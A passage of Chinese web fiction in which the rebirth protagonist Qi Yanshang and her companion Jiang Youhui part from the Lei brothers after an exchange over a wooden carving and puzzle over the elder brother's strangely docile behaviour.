“璟弟你有一个了,那这个我拿着吧。”雷承宁拿过木雕,立刻藏进衣服中。 雷承璟看起来有些许不满,但也并未阻止他,只是道:“那就不客气了,现在应该也不早了,我们不如就在此歇息,明日出去,再陪同你们去找木雕可好?” 眼见江有晦似乎要开口,戚研商抢先打断了他:“那就不必了,我们这么多人一起也不太方便。” 若是一起行动,他们便无法去茅屋将里面的木雕和补给拿走,甚至还可能暴露有布局图之事。 江有晦瞬间明白了她的意思,顺势说道:“而且这书房过于狭小,也不方便四个人休息,更何况……。” “是我冒失了,”雷承璟看了戚研商一眼,露出抱歉的神情,“那就此别过了,若是有机会再见,能够帮忙的我们一定会帮。” “客气了。”戚研商笑着将桌上的油灯拿起,未做停留,转身便出了书房,江有晦又说了几句,跟着离开了。 戚研商着急离开,还有一事觉得蹊跷。 虽然知道上次雷承璟最终是将雷承宁杀害,可是当时在芦苇荡附近看见二人时,却并非眼前这种怪异的模样,戚研商有些怀疑这兄弟二人是在演一出什么戏。 “你走的也太快了。”江有晦小跑了几步,才跟上戚研商,抱怨道。 戚研商突然止步,转过了身,江有晦差点撞上,她眉头紧锁,问道:“你觉得这兄弟二人是不是有些古怪?” 江有晦将她转了回去,向前推着走,答道:“当然十分古怪,我听闻这雷氏兄弟,长兄为人桀骜不驯,彻彻底底的纨绔子弟,而幺弟好像是曾经流落在外,后来才被接回家中的,或许是寄人篱下,为人倒是谦卑一些。今日见这两人,虽说雷承璟看着正常,但那身为兄长的雷承宁,怎么好似中蛊一般?” 难道她的重生,除了影响到他人的行为,还会使人性情大变?连这残暴的雷承宁都会变得如此乖顺,实在令人费解。